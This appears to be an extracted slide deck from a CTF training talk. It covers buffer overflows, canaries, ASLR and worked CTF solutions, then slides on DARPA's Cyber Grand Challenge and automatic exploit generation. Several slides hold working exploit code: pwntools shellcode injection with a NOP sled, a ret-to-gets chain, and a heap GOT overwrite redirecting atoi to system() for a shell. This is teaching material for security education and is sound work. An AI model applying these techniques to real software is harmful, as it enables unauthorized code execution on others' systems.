Ctf hello,world!
- 5. CTF
• Type of CTFs
• Jeopardy – Any type of problems
• Attack and Defense – Pwn + Patch
• King of the Hill – Pwn + Patch
• AIS3 Final CTF
• Jeopardy style
• Misc, Binary, Pwn, Web, Crypto
5
- 7. Simple Buffer Overflow
• Outdated Implementation • Input "A" * 20
7
int func1(int a, int b, int c) {
char buffer[8]; // declare a character array of 8 bytes
gets(buffer); // read user input string
return 0; // return zero
}
buffer[8]
0x00000000
0xffffffff
EBP
ret-addr
a
Stack grows in this way
b
c
Last
Stack Frame Current Stack Frame
......
0x41414141
0x41414141
0x00000000
0xffffffff
0x41414141
0x41414141
0x41414141
Stack grows in this way
b
c
Last
Stack Frame
Current Stack Frame
......
- 8. Stack Protector
• With Stack Protector • Input "A" * 20
8
buffer[8]
0x00000000
0xffffffff
EBP
ret-addr
a
Stack grows in this way
b
c
Last
Stack Frame
Current Stack Frame
......
Canary (?)
0x41414141
0x41414141
0x00000000
0xffffffff
0x41414141
0x41414141
a
Stack grows in this way
b
c
Last
Stack Frame
Current Stack Frame
......
0x41414141
- 11. ASLR (Cont’d)
• Without ASLR (0) • With ASLR (1, 2)
11
$ ./a.out
main = 0x80484cd
gets = 0x8048380
buf = 0xffffd3ac
m = 0x804b008
$ ./a.out
main = 0x80484cd
gets = 0x8048380
buf = 0xffffd3ac
m = 0x804b008
$ ./a.out
main = 0x80484cd
gets = 0x8048380
buf = 0xffffd3ac
m = 0x804b008
./a.out
main = 0x80484cd
gets = 0x8048380
buf = 0xffdf6d8c
m = 0x9b03008
$ ./a.out
main = 0x80484cd
gets = 0x8048380
buf = 0xff86930c
m = 0x9b1e008
$ ./a.out
main = 0x80484cd
gets = 0x8048380
buf = 0xfff9b4bc
m = 0x88f3008
char buf[64];
printf("main = %pn", main);
printf("gets = %pn", gets);
printf(" buf = %pn", buf);
printf(" m = %pn", malloc(16));
- 14. Misc. Issues – Permissions
• Disable access for … • Firewall setup
• Default policy is DROP
• Only allow required
incoming ports
• Disallow outgoing
connections
14
chmod 751 /
chmod 751 /etc
chmod 750 /sbin
chmod 750 /usr/sbin
chmod 551 /proc
chmod 551 /dev
chmod 711 /home
chmod 1773 /tmp
...
cd $HOME
chown root:$OWNER . binary flag
chmod 550 . binary
chmod 440 flag
- 19. cry2 – The Source Code
19
1: key = "XXXXXXXXXXXXXXXX”
2: iv = ''.join(random.choice(string.hexdigits) for _ in range(16))
3: flag = "ais3{NEVERPHDNEVERPHDNEVERPHD..}" # Not real flag ...
4:
5: def encrypt(p):
6: return AES.new(key, AES.MODE_OFB, iv).encrypt(p)
...
7: print encrypt(flag).encode("hex")
8: while True:
...
9: p = ''.join(random.choice(string.lowercase) for _ in range(32))
10: print encrypt(p).encode("hex")
- 23. cry2 – Use Pwntools
• Pwntools
• A good CTF framework implemented in python
• https://github.com/Gallopsled/pwntools
• Quick Installation Guide (Ubuntu)
23
$ sudo apt-get install binutils python-dev python-pip
$ sudo pip install pwntools
- 24. cry2 – Enumerate All Ciphertexts
24
1: #!/usr/bin/env python
2: from pwn import *
3:
4: #r = remote('54.xxx.yyy.zzz', 5566)
5: r = process("./src.py")
6: ciphers = []
6:
7: while len(ciphers) < 100:
8: s = r.recvline().strip()
9: if len(s) == 64:
10: ciphers.append(s)
11: r.send('n')
- 25. cry2 – Pseudocodes to Obtain the
XOR-Pad
25
Given c: The list containing n ciphertexts (except the first one)
c = [ c1, c2, c3, …, cn ]
Suppose cu,v represents the vth byte in ciphertext cu, 1 ≤ u ≤ n
pad = "";
for v = 1 to 32:
for x = 0 to 255:
if x XOR cu,v is a lowercase alphabet for all u in [1, n]
pad = pad + x
break
use pad to decrypt the real ciphertext and obtain the flag
- 32. gagb – Solution
• Eh … We have to guess the number first!!
• Strategy #1: Play with the game
• Pwntools: recv, send … try all possible combinations
• Strategy #2: Use the random number trick
• Remember we have: srand(time(0)) + rand()?
• In python, we can do:
32
1: from ctypes import *
2: cdll.LoadLibrary("libc.so.6")
3: libc = CDLL("libc.so.6")
4: libc.srand(libc.time(0))
5: print libc.rand();
- 33. gagb – A Tricky Solution
33
1: r = process("./gagb"); # this is from pwntools …
2: num = ""
3: while len(num) < 4:
4: while True:
5: d = chr(libc.rand() % 10 + 48)
6: if len(set(num + d)) == len(num + d):
7: num = num + d
8: break
9: print r.recv()
10: print num
11: r.send(num + 'n')
12: print r.recv()
• Use ntpdateto synchronize your system clock
• You may need to uncheck "Hardware Clock in UTC Time" if you are playing
with VirtualBox or other virtual machines …
- 34. gagb – The Overflow Part:
Strategy #1
• The old tricks
• You have to guess the stack address
• Fill "A"*28 + addr + NOP*n + shellcode
34
context(arch = 'i386', os = 'linux')
...
shell = asm(shellcraft.sh())
r.send('A'*28 + p32(0xffffdd70) + "x90" * 400 + shell + "n")
r.interactive()
- 37. gagb – The Overflow Part:
Strategy #2 (2/3)
• We want the stack to looks like …
37
s[24]
0x00000000
0xffffffff
EBP
addr of gets()
Stack grows in this way
......
ret-addr
argument #1
return addr after gets()
address for gets() to fill
garbage
- 38. gagb – The Overflow Part:
Strategy #2 (3/3)
• gets@pltcan be obtained using objdump -d gagb
• After gets() finished, the program jumps to the
buffer that we have filled the shell code
38
r.send('A'*28 + p32(0x08048430) # gets@plt
+ p32(0x0804a034) + p32(0x0804a034) # any writable address
+ p32(0x12345678) * 100 + "n") # garbage
r.send(shell + "n") # fill gets() buffer
r.interactive()
08048430 <gets@plt>:
8048430: ff 25 0c a0 04 08 jmp *0x804a00c ; in GOT table
8048436: 68 00 00 00 00 push $0x0
804843b: e9 e0 ff ff ff jmp 8048420 <gets@plt-0x10>
- 39. gagb – Security Practice
• No more gets()
• Use /dev/urandomor /dev/random
• Or, alternatively, at least do
39
srand(time(0) ^ getpid());
- 44. phddb – Feature Summary
• Data stored in heap – use malloc()
• dump
• add
• Allocate header first (32 bytes)
• Allocate thesis-text according to
the given length
• edit
• Modify header content
• Reallocate thesis-text if necessary
• remove
44
thesis text ...
thesis text ...
......
0x00000000
0xffffffff
name[20]
age
length
*thesis
name[20]
age
length
*thesis
Record #0Record #1
- 46. phddb – Solution (1/6)
46
1. Add two records 2. Edit records #0 3. Add one more record
thesis text ...
thesis text ...
......
0x00000000
0xffffffff
name (aaa)
age
length (32)
*thesis
name (bbb)
age
length (32)
*thesis
Record #0Record #1
thesis text ...
freed
......
0x00000000
0xffffffff
name (aaa)
age
length (32)
*thesis
name (bbb)
age
length (32)
*thesis
Record #0Record #1
thesis text ...
thesis text ...
...
0x00000000
0xffffffff
name (aaa)
age
length (32)
*thesis
name (bbb)
age
length (32)
*thesis
Record #0Record #1
name (ccc)
age
length (32)
*thesis
Record #2Record #2
- 47. phddb – Solution (2/6)
• We want to know the real address of atoi in
memory
• We can then know the C library base
• Real address of atoi minus atoi’s offset in C library
• Use objdump -d libc.so.6 to get atoi’s offset
• From objdump -d phddb, we got
the GOT entry address for atoi is 0x804b03c
47
08048560 <atoi@plt>:
8048560: ff 25 3c b0 04 08 jmp *0x804b03c
8048566: 68 60 00 00 00 push $0x60
804856b: e9 20 ff ff ff jmp 8048490 <_init+0x30>
- 48. phddb – Solution (3/6)
• Edit record #0
• Fill thesis text using:
• "A" * 24
• 0x20 (length)
• 0x804b03c
• GOT entry is a function
pointer to the real
address of a function
(in .so)
• Dump record #2
• Reveal atoi(?)
48
atoi (?)
c99_scanf
......
GOT
0x804b03c
0x804b038
0x804b040
thesis text ...
thesis text ...
...
0x00000000
0xffffffff
name (aaa)
age
length (32)
*thesis
name (bbb)
age
length (32)
*thesis
Record #0Record #1
name (ccc)
age
length (32)
*thesis
Record #2Record #2
- 49. phddb – Solution (4/6)
• The atoi’s real address is
right after the third colon ':'
(0x3a)
• Note: It’s little endian
49
6e 61 6d 65 3a 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 20 0a 61 67
65 3a 31 30 39 34 37 39 35 35 38
35 0a 74 68 65 73 69 73 3a 0a 60
95 e5 f7 0a 7c 2d 2d 2d 2d 2d 2d
2d 2d 2d 2d 50 48 44 64 62 20 4d
65 6e 75
- 50. phddb – Solution (5/6)
• Recall that the main function does read() + atoi()
• We can replace atoi’s GOT entry value to any
functionwe want to call
• Replace atoi’s GOT entry value with the real
address of system(), and then send 'shn'
• Simple arithmetic
• atoi‘s real address = 0xf7e59560
• atoi offset in C library = 0x31560
• system offset in C library = 0x3fcd0
• system’s real address= 0xf7e59560 – 0x31560 + 0x3fcd0
= 0xf7e67cd0
50
- 51. phddb – Solution (6/6)
• Edit record #0
• Fill thesis text using:
• "A" * 24
• 0x20 (length)
• 0xf7e67cd0
• read() + atoi()
now becomes
read() + system()
• Send 'shn'
51
atoi (0xf7e59560)
c99_scanf
......
GOT
0x804b03c
0x804b038
0x804b040
thesis text ...
thesis text ...
...
0x00000000
0xffffffff
name (aaa)
age
length (32)
*thesis
name (bbb)
age
length (32)
*thesis
Record #0Record #1
name (ccc)
age
length (32)
*thesis
Record #2Record #2
system (0xf7e67cd0)
- 55. From CTF to CGC
• The Cyber War
• Cyber Army
• Capture The Flag (CTF)
• Information security competition
• Cyber Grand Challenge (CGC)
• All-computer CTF tournament
• Held by DARPA of US DoD with the DEFCON Conference in Las Vegas in 2016
55
- 56. Objective
• Build a Cyber Reasoning System(CRS)
• Follow CGC rules
• Automatic attack and defense
• Automatic Attack
• Analyze the program binary to find the failure
• Generate exploit
• Payload to bypass mitigation
• Automatic Defense
• Analyze the program to find the fault
• Find the faulty point
• Patch the fault in binary level
56
- 64. Result – Compare with ROPgadget
• ROPgadget: Common open source search and chain gadgets tool
Tool
Compare
Exploit Strengthening ROPgadget
Gadget Type Long/Short Gadgets Short Gadgets
Payload Type
Turing complete
ROP Payload API
One type payload
Integrate CRAX + Metasploit
- 65. Result – Compare with ROPgadget
• Payload type: exevc(“/bin/sh”)
Program
Name
Program
Size
Exploit Strengthening ROPgadget
Total
Gadgets
Time
Generate
Payload
Time
Generate
Payload
gdb 7.7.1 4.9M 133K 36.2s True 278s True
nautilus 3.10.1 1.4M 58K 13.9s True -- False
gpg 1.4.16 971K 25K 5.5s True 17.1s True
vim.tiny 7.4 806K 25K 5.0s True -- False
lshw b.02.16 755K 8K 2.4s True -- False
gcc 4.8 700K 4K 2.9s True 10.7s True
objdump 2.24 333K 8K 1.4s True -- False
readom 1.1.11 180K 4.9K 0.9s True -- False
curl 7.35.0 149K 2.9K 0.7s True -- False
factor 8.21 104K 2.3K 0.5s True -- False
- 73. Evaluation
• 24 challenge binaries (CB) for testing
• The fault of types include :
• CWE-121: Stack-based Buffer Overflow
• CWE-122: Heap based Buffer Overflow
• CWE-787: Out-of-bounds Write
• CWE-476: NULL Pointer Dereference
• ….
• We choose the stack-based overflowCBs to evaluate our CRS.
73
- 74. Evaluation - Summary
Challenge id Fault type Method 1 Method 2
Availability Security Availability Security
CADET_00001 2 Success Success Success Success
CROMU_00007 3 Failed Success Failed Failed
KPRCA_00001 1 Failed Failed Success Success
LUNGE_00005 3 Failed Failed Success Success
NRFIN_00003 2 Success Success Failed Failed
74
- 77. 相關系統
• CRAX
• Automatic Exploit Generation (Non-Web 攻擊生成)
• https://github.com/SQLab/CRAX
• CRAXWeb
• Web Exploit Generation (Web 攻擊生成)
• https://github.com/SQLab/CRAXWeb
• Ropchain (ROP bypassing ASLR, DEP payload 生成)
• ROP Payload Generation
• https://github.com/SQLab/ropchain
• CRAXfuzz
• Symbolic Fuzzing Framework (符號形式之模糊測試)
• CRAXcrs
• Automatic Defense by Fault Localization and Dynamic Patch (錯誤定位與自動修補達成自動化
防禦)
77